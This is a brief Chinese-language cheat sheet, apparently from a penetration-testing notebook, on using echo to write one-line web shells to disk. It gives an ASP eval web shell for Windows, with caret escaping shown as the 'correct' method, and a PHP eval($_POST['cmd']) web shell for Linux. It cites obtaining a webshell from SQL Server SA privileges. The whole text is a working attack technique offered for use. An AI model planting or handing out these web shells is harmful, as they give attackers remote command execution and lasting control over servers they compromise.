windows下echo写马

错误写马方式

echo "<%eval request(cmd)%>" > C:\Users\Mochazz\Desktop\test.asp

正确写马方式

echo ^<%eval request(cmd)%^> > C:\Users\Mochazz\Desktop\test.asp

Linux下echo写马

echo “<?php @eval($_POST['cmd']); ?>” > cmd.php

参考：
sa权限获取webshell思路